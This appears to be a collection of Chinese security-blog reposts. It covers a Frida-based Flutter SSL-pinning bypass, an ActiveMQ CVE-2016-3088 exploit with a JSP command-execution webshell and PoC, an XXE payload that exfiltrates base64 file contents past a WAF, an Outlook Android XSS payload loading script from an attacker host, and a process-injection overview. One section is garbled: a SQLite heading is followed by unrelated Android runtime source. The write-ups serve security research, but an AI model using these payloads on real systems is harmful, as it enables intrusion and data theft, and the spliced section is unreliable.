當向Burp發送HTTPS流量時,Flutter應用程序實際上會拋出一個錯誤,我們可以將其作為起點:
E/flutter (10371): [ERROR:flutter/runtime/dart_isolate.cc(805)] Unhandled exception: E/flutter (10371): HandshakeException: Handshake error in client (OS Error: E/flutter (10371): NO_START_LINE(pem_lib.c:631) E/flutter (10371): PEM routines(by_file.c:146) E/flutter (10371): NO_START_LINE(pem_lib.c:631) E/flutter (10371): PEM routines(by_file.c:146) E/flutter (10371): CERTIFICATE_VERIFY_FAILED: self signed certificate in certificate chain(handshake.cc:352)) E/flutter (10371): #0 _rootHandleUncaughtError. (dart:async/zone.dart:1112:29) E/flutter (10371): #1 _microtaskLoop (dart:async/schedule_microtask.dart:41:21) E/flutter (10371): #2 _startMicrotaskLoop (dart:async/schedule_microtask.dart:50:5) E/flutter (10371): #3 _runPendingImmediateCallback (dart:isolate-patch/isolate_patch.dart:116:13) E/flutter (10371): #4 _RawReceivePortImpl._handleMessage (dart:isolate-patch/isolate_patch.dart:173:5)
我們需要做的第一件事是在BoringSSL庫中找到這個錯誤。該錯誤實際上已向我們顯示了觸發錯誤的位置:handshake.cc:352。Handshake.cc確實是BoringSSL庫的一部分,并且包含了執行證書驗證的邏輯。第352行的代碼如下所示,這很可能就是我們看到的錯誤。行數并不完全匹配,但這很可能是版本差異的結果。
if (ret == ssl_verify_invalid) { OPENSSL_PUT_ERROR(SSL, SSL_R_CERTIFICATE_VERIFY_FAILED); ssl_send_alert(ssl, SSL3_AL_FATAL, alert); }
這是ssl_verify_peer_cert函數的一部分,該函數返回ssl_verify_result_t枚舉,它在第2290行的ssl.h中被定義:
enum ssl_verify_result_t BORINGSSL_ENUM_INT { ssl_verify_ok, ssl_verify_invalid, ssl_verify_retry, };
如果我們可以將ssl_verify_peer_cert的返回值更改為ssl_verify_ok (=0),那么我們就可以繼續了。然而,在這個方法中有很多事情正在發生,Frida只能更改函數的返回值。如果我們更改這個值,它仍會因為上面的ssl_send_alert()函數調用而失敗(相信我,我試過)。
讓我們找一個更好的hook的方法。handshake.cc的代碼段正上方是以下代碼,這是驗證鏈的方法的實際部分:
ret = ssl->ctx->x509_method->session_verify_cert_chain( hs->new_session.get(), hs, &alert) ? ssl_verify_ok : ssl_verify_invalid;
session_verify_cert_chain函數在第362行的ssl_x509.cc中被定義。此函數還返回原始數據類型(布爾值),并且是一個更好的hook選項。如果此函數中的檢查失敗,則它僅通過OPENSSL_PUT_ERROR報告問題,但它沒有像ssl_verify_peer_cert函數那樣的問題。OPENSSL_PUT_ERROR是err.h中第418行被定義的宏,其中包含源文件名。這與用于Flutter應用程序的錯誤的宏相同。
#define OPENSSL_PUT_ERROR(library, reason) ERR_put_error(ERR_LIB_##library, 0, reason, __FILE__, __LINE__)
既然我們知道要hook哪個函數了,現在我們要做的就是在libflutter.so中找到它。在session_verify_cert_chain函數中多次調用OPENSSL_PUT_ERROR宏,這樣可以使用Ghidra輕松的找到正確的方法。因此,將庫導入Ghidra,使用Search -> Find Strings并搜索x509.cc。
這里只有4個XREF,因此很容易找到一個看起來像session_verify_cert_chain的函數:
其中一個函數取2個整數,1個“undefined未定義”,并且包含一個對OPENSSL_PUT_ERROR(FUN_00316500)的單獨調用。在我的libflutter.so版本中為FUN_0034b330。現在你要做的是從一個導出函數計算該函數的偏移量并將其hook。我通常會采用一種懶惰的方法,復制函數的前10個字節,并檢查該模式出現的頻率。如果它只出現一次,我就知道我找到了這個函數,并且我可以hook它。這很有用,因為我經常可以為庫的不同版本使用相同的腳本。使用基于偏移的方法,這更加困難。這很有用,因為我可以經常對不同版本的庫使用相同的腳本。對于基于偏移量的方法,更加困難。
所以,現在我們讓Frida在libflutter.so庫中搜索這個模式:
var m = Process.findModuleByName("libflutter.so"); var pattern = "2d e9 f0 4f a3 b0 82 46 50 20 10 70" var res = Memory.scan(m.base, m.size, pattern, { onMatch: function(address, size){ console.log('[+] ssl_verify_result found at: ' + address.toString()); }, onError: function(reason){ console.log('[!] There was an error scanning memory'); }, onComplete: function() { console.log("All done") } });
在我的Flutter應用程序上運行此腳本的結果如下:
(env) ~/D/Temp ? frida -U -f be.nviso.flutter_app -l frida.js --no-pause [LGE Nexus 5::be.nviso.flutter_app]-> [+] ssl_verify_result found at: 0x9a7f7040 All done
現在,我們只需使用Interceptor將返回值更改為1 (true):
function hook_ssl_verify_result(address) { Interceptor.attach(address, { onEnter: function(args) { console.log("Disabling SSL validation") }, onLeave: function(retval) { console.log("Retval: " + retval) retval.replace(0x1); } }); } function disablePinning() { var m = Process.findModuleByName("libflutter.so"); var pattern = "2d e9 f0 4f a3 b0 82 46 50 20 10 70" var res = Memory.scan(m.base, m.size, pattern, { onMatch: function(address, size){ console.log('[+] ssl_verify_result found at: ' + address.toString()); // Add 0x01 because it's a THUMB function // Otherwise, we would get 'Error: unable to intercept function at 0x9906f8ac; please file a bug' hook_ssl_verify_result(address.add(0x01)); }, onError: function(reason){ console.log('[!] There was an error scanning memory'); }, onComplete: function() { console.log("All done") } }); } setTimeout(disablePinning, 1000)
設置proxydroid并使用此腳本啟動應用程序后,現在我們可以看到HTTP流量了:
我已經在一些Flutter應用程序上對此進行了測試,這種方法適用于所有應用程序。由于BoringSSL庫較為穩定,因此這種方法可能會在未來很長一段時間內都有效。
最后,讓我們看看如何繞過SSL Pinning。一種方法是定義一個包含特定證書的新SecurityContext。
對于我的應用程序,我添加了以下代碼讓它只接受我的Burp證書。SecurityContext構造函數接受一個參數withTrustedRoots,默認為false。
ByteData data = await rootBundle.load('certs/burp.crt'); SecurityContext context = new SecurityContext(); context.setTrustedCertificatesBytes(data.buffer.asUint8List()); client = HttpClient(context: context);
應用程序現在將自動接受我們的Burp代理作為任意網站的證書。如果我們現在將其切換到nviso.eu證書,我們將無法攔截連接(請求和響應)。
幸運的是,上面列出的Frida腳本已經繞過了這種root-ca-pinning實現,因為底層邏輯仍然依賴于BoringSSL庫的相同方法。
Flutter開發人員執行ssl pinning的方法之一是通過 ssl_pinning_plugin flutter插件。此插件實際上是發送一個HTTPS連接并驗證證書,之后開發人員將信任該通信并執行non-pinned HTTPS請求:
void testPin() async { List<String> hashes = new List<String>(); hashes.add("randomhash"); try { await SslPinningPlugin.check(serverURL: "https://www.nviso.eu", headerHttp : new Map(), sha: SHA.SHA1, allowedSHAFingerprints: hashes, timeout : 50); doImportanStuff() }catch(e) { abortWithError(e); } }
該插件是Java實現的,我們可以使用Frida輕松的hook:
function disablePinning() { var SslPinningPlugin = Java.use("com.macif.plugin.sslpinningplugin.SslPinningPlugin"); SslPinningPlugin.checkConnexion.implementation = function() { console.log("Disabled SslPinningPlugin"); return true; } } Java.perform(disablePinning)
這是一個非常有趣的過程,因為Dart和BoringSSL都是開源的,所以進行的非常順利。由于字符串的數量并不多,因此即使沒有任何符號,也能很容易的找到禁用ssl驗證邏輯的正確位置。我掃描函數序言(function prologue)的方法可能并不總是有效,但由于BoringSSL非常穩定,因此在未來的一段時間內它應該都會有效。
【via@FreeBuf.COM】
]]>Apache ActiveMQ是Apache軟件基金會所研發的開放源代碼消息中間件;由于ActiveMQ是一個純Java程序,因此只需要操作系統支持Java虛擬機,ActiveMQ便可執行。
本漏洞出現在fileserver應用中,漏洞原理其實非常簡單,就是fileserver支持寫入文件(但不解析jsp),同時支持移動文件(MOVE請求)。所以,我們只需要寫入一個文件,然后使用MOVE請求將其移動到任意位置,造成任意文件寫入漏洞。
ActiveMQ的web控制臺分三個應用,admin、api和fileserver,其中admin是管理員頁面,api是接口,fileserver是儲存文件的接口;admin和api都需要登錄后才能使用,fileserver無需登錄。fileserver是一個RESTful API接口,我們可以通過GET、PUT、DELETE等HTTP請求對其中存儲的文件進行讀寫操作,其設計目的是為了彌補消息隊列操作不能傳輸、存儲二進制文件的缺陷,但后來發現:
1.其使用率并不高
2.文件操作容易出現漏洞
所以,ActiveMQ在5.12.x~5.13.x版本中,已經默認關閉了fileserver這個應用(你可以在conf/jetty.xml中開啟之);在5.14.0版本以后,徹底刪除了fileserver應用。在測試過程中,可以關注ActiveMQ的版本,避免走彎路。
下載源碼進行分析,可以看到ActiveMQ 中的 FileServer 服務允許用戶通過 HTTP PUT 方法上傳文件到指定目錄,可以看到第二處的if相當于沒有對用戶身份進行校驗。
PUT方法調用如下函數之后,上傳到的目錄是在${activemq.home}/webapps/fileserver下,源代碼部分如下圖:
接下來看MOVE方法的源代碼中并沒有對移動的路徑進行限制
文件寫入有幾種利用方法:我們這里演示上傳webshell
1.寫入webshell
2.寫入cron或ssh key等文件
3.寫入jar或jetty.xml等庫和配置文件
webshell代碼
<% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %>
我們利用put方法進行任意文件的上傳
接下來我們訪問上傳文件查看是否上傳成功。
由于上傳的是文本文件并不能被服務器解析,所以我們下一步要利用MOVE方法將上傳的webshell移動到可以執行的目錄并更改后綴為jsp。
可以解析jsp文件的路徑有:
1./opt/activemq/webapps/api
2./opt/activemq/webapps/admin
這里有一個坑,困惑了我很久,我的方法步驟都沒有問題為什么MOVE方法會一直響應超時并且得不到任何響應的內容。嘗試了很久,我一度懷疑我的vulhub環境有問題,一次偶然中我用burp抓到的包去修改執行MOVE方法很快就得到了響應結果,神奇的是把這個數據包重新復制到repeater執行再次出現響應超時的結果,明明是兩個相同的數據包,真是令人費解,我只能歸結于MOVE方法在這里不太穩(ps:這是我從別的文章看到的)。
這個就是MOVE成功之后得到的響應內容。
接著我們訪問移動后的目錄看看結果。但是這里就出現了一個很雞肋的地方,就是要想訪問到我們的webshell必須是登錄之后才可以,因為/api,/admin這兩個路徑必須是登錄后才可以訪問但是move移動到這兩個路徑是不需要登錄的,好吧,我們輸入默認的弱口令admin/admin,登錄后看到了我們心心念念的webshell。
拿到了webshell,雖然它很雞肋但我們仍然要堅強的執行幾條命令去宣告我們的戰果。
我們簡單說一下其他的利用方法,寫入crontab,自動化彈shell,這是一個比較穩健的方法。首先上傳cron配置文件(注意,換行一定要n,不能是rn,否則crontab執行會失敗),接下來將其移動到/etc/cron.d/root,如果上述兩個請求都返回204了,說明寫入成功。等待反彈shell,這個方法需要ActiveMQ是root運行,否則也不能寫入cron文件。理論上我們可以覆蓋jetty.xml,將admin和api的登錄限制去掉,然后再寫入webshell。有的情況下,jetty.xml和jar的所有人是web容器的用戶,所以相比起來,寫入crontab成功率更高一點。尚未測試。
這一部分我們根據漏洞的原理,既然MOVE方法不穩定那么就去驗證PUT是否可以執行成功,我在poc編寫部分用到了Pocsuite。
代碼如下:
from pocsuite.net import req from pocsuite.poc import POCBase,Output from pocsuite.utils import register class ActiveMQPoc(POCBase): # 類名不用擔心重復 vulID = '002' # ssvid version = '1.0' author = ['xssle'] vulDate = '2019-09-07' createDate = '2019-09-07' updateDate = '2019-09-07' references = ['https://www.secpulse.com/archives/60064.html'] name = 'Apache ActiveMQ 任意文件寫入漏洞 (CVE-2016-3088)' appPowerLink = 'activemq.apache.org' appName = 'Apache activemq' appVersion = '版本小于 Apache ActiveMQ 5.14.0' vulType = 'Arbitrary File Reading' desc = ''' 本漏洞出現在fileserver應用中,漏洞原理其實非常簡單,就是fileserver支持寫入文件(但不解析jsp), 同時支持移動文件(MOVE請求)。所以,我們只需要寫入一個文件,然后使用MOVE請求將其移動到任意位置,造成任意文件寫入漏洞。 ''' pocDesc = ''' pocsuite -r ***.py -u target --verify" ''' samples = [] install_requires = [''] def _verify(self): result = {} path = "fileserver/poc.txt" url = self.url + '/' + path header = { "Accept": "*/*", "Accept-Language": "en", "User-Agent":"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)", "Connection":"close", "Content-Length":"120976" } try: resp = req.put(url,header) resp1 = req.get(url,header) if resp.status_code == 204 and str(resp1.status_code)[0] in ('2','3') : result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = url except Exception as ex: pass return self.parse_output(result) def parse_output(self, result): output = Output(self) if result: output.success(result) else: output.fail('target is not vulnerable') return output def _attack(self): return self._verify() register(ActiveMQPoc)
代碼執行效果如下:
最后附上pocsuite官網地址:http://pocsuite.org/
如果可以的話我想把這個寫成系列文章,希望大家鼓勵。
【via@FreeBuf.COM】
]]>在對目標應用的測試分析時,我偶然發現了其中一個路徑調用了一個名為xml的參數,但其對應的XML數據值是加密的。之后,我發現該xml參數的XML數據在發送到HTTP請求前僅在客戶端實行了加密,也就是說,其應用后端可能未設置對這些XML數據進行必要驗證的措施,這樣,我就想到能否修改這些XML數據以便注入XXE Payload。
接下來,首先我要找到加密XML數據的JavaScript函數,但卻發現目標應用的JavaScript全被靜態模塊打包器WebPack打包且非常不具可讀性和跟蹤分析性。所以,要找到JavaScript加密函數是件麻煩事,之后,我想到了在Chrome瀏覽器工具中設置斷點,在XML數據發送到JavaScript加密函數前對它進行修改。
這樣一來,我就可以在其中加入外部實體(external entity)進行XML數據構造了,但當我把構造好的XML Payload發送后,目標應用好長時間才有響應”Error while parsing XML”。但當我把其中的外部實體(external entity)修改為 [http://localhost/](http://localhost/)
后,目標應用卻能及時無誤的響應。這種情況,我認為目標應用環境中可能部署有WAF防火墻,它會把一些出站請求拒絕掉。之后,我又嘗試了端口和DNS解析請求,但都沒成功。
也就是說,現在我面前存在一個XXE漏洞,但是卻無能為力。一般來說可能通過探測目標應用內網環境中開放的端口來實現XXE利用,但其WAF防火墻卻阻擋了所有出站請求。由于其WAF防火墻未阻止本機用為外部實體,所以,我想找到目標應用公開具備的,不需cookie驗證且使用GET參數的路徑來實現對某些數據的更改或添加。而這也和目標應用的工作機制非常相符,因為它好多路徑并未采用cookie驗證和用戶ID參數的形式來驗證身份。
考慮到這一點,我就開始認真分析查找,最后聚集于一個路徑http://target/endpoint.php?sid=[session_id]&key=xxe&val=test,它會調用三個參數:sid、key和val,并把key和val保存到相應的會話ID賬戶中,而且我們通過訪問該路徑就可以獲取這三個參數值。
所以,現在我就想構造一個向路徑http://target/endpoint.php?sid=[session_id]&key=xxe&val=test發送GET請求的外部實體,之后看看該路徑下的xxe和test值是否已經會發生添加更改,因此,我構造的XXE Payload如下,并把它執行了發送:
<!DOCTYPE?foo?[
<!ELEMENT?foo?ANY?>
<!ENTITY?xxe?SYSTEM?“http://target/endpoint.php?sid=[session_id]&key=xxe&val=test”>
]>
<paramlimits>
<component?name=”L1″?min=”2″?max=”100″>&xxe;</component>
? ? </paramlimits>
之后,當我來到 http://target/endpoint.php?sid=[session_id] 下,我發現sid值已經被添加更改,也就是說,目標應用服務器能正常獲取上述實體,并會向提供的路徑發送GET請求。如下:
現在思路就慢慢清晰了,至少可以證明其XXE漏洞是存在的,我想深入利用看看能否可讀取到目標應用的一些本地文件。要讀取本地文件,我們需要創建一個獲取文件的參數實體,以及另一個調用該參數實體的實體,為此,我用到了外部文檔類型定義(DTD)文件的調用,但問題還是一樣,被WAF防火墻阻擋了出站的調用請求,部署在我服務器上的DTD文件不能被正常調用。
這樣來說,還是防火墻在作怪,如何來繞過它呢?我想能否存在一種允許文件上傳的路徑,這樣我就能上傳我的構造DTD文件,但是,目標應用卻根本沒任何文件上傳功能。一番倒騰之后,我差點放棄了,但是我想到目標應用是PHP架構的,那我想應該可以用php://封裝協議的封裝器去獲取 data:// URI中的資源吧,這樣不就能調用到我的DTD文件了嗎?
所以,可以定義這樣一種參數實體:
<!ENTITY?%?data?SYSTEM?“php://filter/convert.base64-encode/resource=file:///D:/path/index.php”>
? ? <!ENTITY % param1 ‘<!ENTITY exfil SYSTEM “http://target/endpoint.php?sid=[session_id]&key=xxe&val=%data;”>’>
然后把上述參數實體經base64編碼后,利用php://封裝協議來請求它,如下:
當目標應用的XML解析器執行解析時,它會執行以下兩個路徑的實體解析:
其中的convert.base64-encode是為了能對 index.php 文件內容更方便的獲取。所以最終的XXE Payload為:
<!ELEMENT?r?ANY?>
<!ENTITY?%?sp?SYSTEM?“php://filter//resource=data://text/plain;base64,PCFFTlRJVFkgJSBkYXRhIFNZU1RFTSAicGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWVuY29kZS9yZXNvdXJjZT1maWxlOi8vL0Q6L3BhdGgvaW5kZXgucGhwIj4NCjwhRU5USVRZICUgcGFyYW0xICc8IUVOVElUWSBleGZpbCBTWVNURU0gImh0dHA6Ly90YXJnZXQvZW5kcG9pbnQucGhwP3NpZD1bc2Vzc2lvbl9pZF0mIzM4O2tleT14eGUmIzM4O3ZhbD0lZGF0YTsiPic+”>?%sp;?%param1;
]>
<paramlimits>
<component?name=”L1″?min=”2″?max=”100″>&exfil;</component>
? ? </paramlimits>
提交發送之后,來到目標路徑http://target/endpoint.php?sid=[session_id]下,可以發現經base64編碼的index.php文件內容被成功獲取:
當然,深入利用之后就能用這種方法來讀取一些敏感的本地文件了。
【via@FreeBuf.COM】
]]>1、容易實現的目標 (CVE-2015-7036)
2、Chaitin team?在黑帽17會議上演示的?更復雜利用
3、Exodus對最新麥哲倫漏洞的利用
由于虛擬表會使用底層的影子表,因此在不同的SQL接口之間傳遞原始的指針是很常見的。
ScopedAssertNoThreadSuspension ants(self, “LoadMethod”);
//初始化相關變量
dst->SetDexMethodIndex(dex_method_idx);
dst->SetDeclaringClass(klass.Get());
//初始化CodeItem指針
dst->SetCodeItemOffset(it.GetMethodCodeItemOffset());
dst->SetDexCacheResolvedMethods(klass->GetDexCache()->GetResolvedMethods());
dst->SetDexCacheResolvedTypes(klass->GetDexCache()->GetResolvedTypes());
uint32_t access_flags = it.GetMethodAccessFlags();
if?(UNLIKELY(strcmp(“finalize”, method_name) == 0)) {
// Set finalizable flag on declaring class.
if?(strcmp(“V”, dex_file.GetShorty(method_id.proto_idx_)) == 0) {
// Void return type.
if?(klass->GetClassLoader() != nullptr) { // All non-boot finalizer methods are flagged.
klass->SetFinalizable();
} else?{
std::string temp;
const?char* klass_descriptor = klass->GetDescriptor(&temp);
// The Enum class declares a “final” finalize() method to prevent subclasses from
// introducing a finalizer. We don’t want to set the finalizable flag for Enum or its
// subclasses, so we exclude it here.
// We also want to avoid setting the flag on Object, where we know that finalize() is
// empty.
if?(strcmp(klass_descriptor, “Ljava/lang/Object;”) != 0?&&
strcmp(klass_descriptor, “Ljava/lang/Enum;”) != 0) {
klass->SetFinalizable();
}
}
}
} else?if?(method_name[0] == ‘<‘) {
// Fix broken access flags for initializers. Bug 11157540.
bool is_init = (strcmp(“<init>”, method_name) == 0);
bool is_clinit = !is_init && (strcmp(“<clinit>”, method_name) == 0);
if?(UNLIKELY(!is_init && !is_clinit)) {
LOG(WARNING) << “Unexpected ‘<‘ at start of method name “?<< method_name;
} else?{
if?(UNLIKELY((access_flags & kAccConstructor) == 0)) {
LOG(WARNING) << method_name << ” didn’t have expected constructor access flag in class “
<< PrettyDescriptor(klass.Get()) << ” in dex file “?<< dex_file.GetLocation();
access_flags |= kAccConstructor;
}
}
}
dst->SetAccessFlags(access_flags);
}
// Install entry point from interpreter.
bool enter_interpreter = NeedsInterpreter(method, method->GetEntryPointFromQuickCompiledCode());
if?(enter_interpreter && !method->IsNative()) {
method->SetEntryPointFromInterpreter(artInterpreterToInterpreterBridge);
} else?{
method->SetEntryPointFromInterpreter(artInterpreterToCompiledCodeBridge);
}
if?(method->IsAbstract()) {
method->SetEntryPointFromQuickCompiledCode(GetQuickToInterpreterBridge());
return;
}
if?(method->IsStatic() && !method->IsConstructor()) {
// For static methods excluding the class initializer, install the trampoline.
// It will be replaced by the proper entry point by ClassLinker::FixupStaticTrampolines
// after initializing class (see ClassLinker::InitializeClass method).
method->SetEntryPointFromQuickCompiledCode(GetQuickResolutionStub());
} else?if?(enter_interpreter) {
if?(!method->IsNative()) {
// Set entry point from compiled code if there’s no code or in interpreter only mode.
method->SetEntryPointFromQuickCompiledCode(GetQuickToInterpreterBridge());
} else?{
method->SetEntryPointFromQuickCompiledCode(GetQuickGenericJniStub());
}
}
if?(method->IsNative()) {
// Unregistering restores the dlsym lookup stub.
method->UnregisterNative();
if?(enter_interpreter) {
// We have a native method here without code. Then it should have either the generic JNI
// trampoline as entrypoint (non-static), or the resolution trampoline (static).
// TODO:?this doesn’t handle all the cases where trampolines may be installed.
const?void* entry_point = method->GetEntryPointFromQuickCompiledCode();
DCHECK(IsQuickGenericJniStub(entry_point) || IsQuickResolutionStub(entry_point));
}
}
}<span style=“color:rgb(0, 0, 0); font-family:none; font-size:15px;”>
</span>
大概的漏洞利用是這樣的,如果我們向受害者郵箱發送包含Payload的郵件,當受害者打開郵件之后,就會跳出形如以下的XSS窗口:
我們可以把Outlook for Andriod的APK程序進行一個逆向分析,在assets資源目錄下,我們發現了一個名為“emailRenderer-android.js”的JavaScript文件,顧名思義,它是一個把郵件消息加載顯示給用戶查看的。在該JavaScript文件中,存在一個名為“layout”的函數,在其中它調用了名為“_linkifyPhoneNumbers”的方法。如下:
在這里,我們來談談Linkify類,android.text.util.Linkify是一個輔助類,通過RegEx樣式匹配,自動地在TextView類(和繼承的類)中創建超鏈接。符合特定的RegEx樣式的文本會被轉變成可點擊的超鏈接,這些超鏈接隱式地調用startActivity(new Intent(Intent.ACTION_VIEW, uri)),符合的文本會作為目標URI。你可以指定任意的字符串樣式為鏈接。為了方便,Linkify類提供了4種預置的通用內容類型(電子郵箱地址、電話號碼、web地址和住所地址)。
_linkifyPhoneNumbers方法的第一步是創建一個正則表達式對象,其中包含可能的手機號碼模式,如下:
上圖可示,與_linkifyPhoneNumbers正則表達式匹配的是一個7位數序列。之后,linkifyPhoneNumbers函數定義了第二個內層函數 “replacer”,該函數首先會去解析手機號碼,如下:
如果解析成功,內層函數 “replacer”會把號碼數字轉化生成一個對應鏈接,然后計數器加1并返回數據:
回到_linkifyPhoneNumbers的外層函數中來,這時_linkifyPhoneNumbers會測試它定義的正則表達式和消息中每個HTML元素之間是否匹配,如果匹配成功,外層函數會調用內層函數replacer并返回數據,這樣,就能用一些未轉義的文本內容來替代消息內容了,漏洞也就如此產生了:
這樣一來,把數字轉化為鏈接之后,從內容上來說就不存在轉義了,攻擊者可以發送包含匹配正則表達式的一串數字, replacer函數中的計數器加1,然后替代掉原先的消息內容,也就是說,把用正則表達式電話號碼的消息換成一些不可轉義的XSS Payload就可以了。
HTML 5 API 具備了多種新的功能特性,所以,我們可以利用它來對上述漏洞進行一個利用測試。這里,我們來看看Navigator的界面功能,它代表了一種當前狀態和用戶端身份信息,可以使用腳本進行查詢并注冊成為某種操作。我們以Navigator.vibrate()震動方法為例說明,當惡意郵件被受害者打開之后,該方法就會使手機設備產生震動脈沖。可用以下Payload來結合利用:
<img src=x on error=”javascript:document.write(‘script src=http:/attacker/tt.js></script>’);”>
但只是產生震動還是不夠的,我們可以在其中插入一段遠程腳本,成為:
我們可用XMLHttpRequest對象來創建一個復雜腳本,它負責受害者用戶瀏覽器和我們控制的重定向web服務器之間的通信。如下,使用XMLHttpRequest來重定向受害者:
上述代碼會驗證HTTP響應碼狀態并把鏈接轉化為outlook特有的olm格式鏈接窗口跳出,如下:
但其中接收到的狀態碼為0,根據MDN XMLHttpRequest.status來看,說明存在錯誤。經過一番分析研究,我們發現其中存在一個跨站資源共享CORS防護措施,所以,需要對它進行繞過,在此我們使用cors-anywhere代理方式對上述代碼作了以下修改:
這樣一來,我們的CORS bypass就能成功了,通過用burp collaborator作為攔截代理,就能有效地從XSS受害者的User-agent信息中查看到我們構造的惡意消息參數情況了:
很多移動APP中都嵌入了Web應用功能,這種架構一旦其中的Web應用出現類似XSS的問題,難免會涉及本身的移動應用程序。
【via@FreeBuf.com】
]]>這種技術是用于將惡意軟件注入另一個進程的最常用技術之一。 惡意軟件將路徑寫入到其他進程的虛擬地址空間中的惡意動態鏈接庫(DLL),并通過在目標進程中創建遠程線程來確保遠程進程加載它。
圖 1
惡意軟件首先需要定位注入的進程(例如svchost.exe)。這通常通過調用三個應用程序接口(API)來搜索進程:CreateToolhelp32Snapshot,Process32First和Process32Next。
CreateToolhelp32Snapshot是用于枚舉指定進程或所有進程的堆或模塊狀態的API,它返回一個快照。
Process32First檢索快照中有關第一個進程的信息,然后在循環中使Process32Next來遍歷它們。
找到目標進程后,惡意軟件通過調用OpenProcess獲取目標進程的句柄。
如圖2所示,惡意軟件調用VirtualAllocEx有一段空間來寫入其DLL的路徑。
惡意軟件然后調用WriteProcessMemory寫入分配的內存中的路徑。
最后,為了讓代碼在另一個進程中執行,惡意軟件調用API,如CreateRemoteThread,NtCreateThreadEx或RtlCreateUserThread,后兩者是為文檔化的函數。
然而,一般的想法是將LoadLibrary的地址傳遞給這些API之一,以便遠程進程必須代表惡意軟件執行DLL。CreateRemoteThread被許多安全產品跟蹤和標記。
此外,它會在磁盤上的留下惡意DLL文件。考慮到攻擊者注入代碼的目的一般是防御,所以復雜的攻擊者可能不會使用這種方法。
下面的截圖顯示了一個名為Rebhip的惡意軟件便是利用了這種注入技巧。
圖 2 Rebhip 蠕蟲使用了經典的DLL注入方式
惡意軟件不會傳遞LoadLibrary的地址,而是將其惡意代碼復制到現有的打開進程中,并使其執行(通過一個小的shellcode或通過調用CreateRemoteThread)。PE注入相比于LoadLibrary進行注入的一個優點是惡意軟件不必在磁盤上釋放惡意DLL。類似于第一種注入技術,惡意軟件在主機進程(例如VirtualAllocEx)中分配內存,而不是寫入“DLL路徑”,它通過調用WriteProcessMemory寫入其惡意代碼。然而,使用這種方法的缺陷是更改了復制映像的基址。當惡意軟件將其PE注入另一個進程時,它將具有不可預測的新基址,所以要求它動態地重新計算其PE的固定地址。為了克服這一點,惡意軟件需要在主機進程中找到其重定位表地址,并通過循環遍歷其重定位描述符來解析復制的映像的絕對地址。
圖 3
這種技術類似于其他技術,如反射式DLL注入和內存模塊加載,因為它們不會將任何文件釋放到磁盤。然而,內存模塊加載和反射式DLL注入方法甚至更加隱蔽。它們不依賴任何額外的Windows
API(例如,CreateRemoteThread或LoadLibrary),因為它們在內存中加載并執行自身。反射式DLL注入通過創建一個DLL,在執行時將自身映射到內存中,而不依賴于Window的加載器。內存模塊加載類似于反射式DLL注入,注射器或加載器負責將目標DLL映射到內存而不是DLL映射本身。在之前的一篇博文中,這兩種內存方法被廣泛討論。
在分析PE注入時,在調用CreateRemoteThread之前,看到循環(通常是兩個“for”循環,一個嵌套在另一個循環中)是很常見的情況。這種技術在crypter(加密和模糊惡意軟件的軟件)中非常受歡迎。在圖4中,樣本使用的便是這種技術。該代碼有兩個嵌套循環來調整其重定位表,可以在調用WriteProcessMemory和CreateRemoteThread之前看到它。 “and
0x0fff”指令也是另一個很好的標志,顯示前12位用于獲取到包含重定位塊的虛擬地址的偏移量。現在,惡意軟件已經重新計算了所有必需的地址,所有它需要做的是將其起始地址傳遞給CreateRemoteThread并將其執行。
圖 4 在調用CreateRemoteThread之前,PE注入的循環結構示例
惡意軟件可以執行被稱為進程hollowing的技術,而不是將代碼注入宿主程序(例如,DLL注入)。進程hollowing 發生于惡意軟件從目標進程的內存中清空(鏤空)合法代碼并用惡意可執行文件覆蓋目標進程的內存空間(如,svchost.exe)之時。
圖 5
惡意軟件首先創建一個新進程,以掛起模式托管惡意代碼。如圖6所示,該程序通過調用CreateProcess并將流程創建標志設置為CREATE_SUSPENDED(0x00000004)完成。新進程的主線程被創建為掛起狀態,直到ResumeThread函數被調用才會運行。接下來,惡意軟件需要用惡意的有效載荷來替換合法文件的內容。這可以通過調用ZwUnmapViewOfSection或NtUnmapViewOfSection來取消映射目標進程的內存。這兩個API基本上釋放了一個部分指向的所有內存。現在內存被取消映射,加載器執行VirtualAllocEx為惡意軟件分配新內存,并使用WriteProcessMemory將每個惡意軟件的部分寫入目標進程空間。惡意軟件調用SetThreadContext將entrypoint指向已編寫的新代碼段。最后,惡意軟件通過調用ResumeThread來恢復掛起的線程。
圖 6 Ransom.Cryak實現進程hollowing
這種技術與先前討論的進程hollowing技術有一些相似之處。在線程執行劫持中,惡意軟件針對進程的現有線程,并避免任何嘈雜的進程或線程的創建操作。因此,在分析期間,您可能會看到對CreateToolhelp32Snapshot和Thread32First的調用,后跟OpenThread。
圖 7
在獲取目標線程的句柄后,惡意軟件通過調用SuspendThread來將線程置于掛起模式,最終執行注入。惡意軟件調用VirtualAllocEx和WriteProcessMemory來分配內存并執行代碼注入的操作。
該代碼可以包含shellcode,惡意DLL的路徑和LoadLibrary的地址。
圖8給出了使用這種技術的通用木馬程序。
為了劫持線程的執行,惡意軟件通過調用SetThreadContext修改目標線程的EIP寄存器(包含下一條指令的地址)。之后惡意軟件恢復線程來執行它已寫入主機進程的shellcode。
從攻擊者的角度來看,SIR方法可能是有問題的,因為在系統調用中暫停和恢復線程可能導致系統崩潰。為避免這種情況,更加復雜的惡意軟件如果遇到EIP寄存器在NTDLL.dll的范圍內的情況,將會恢復然后重試。
圖 8 一般的木馬正在執行線程執行劫持
Hooking是一種用于攔截函數調用的技術。惡意軟件可以利用掛鉤函數,在特定線程觸發事件時加載其惡意DLL。這項技術通常通過調SetWindowsHookEx函數來將鉤子例程安裝到鉤子鏈中來完成。
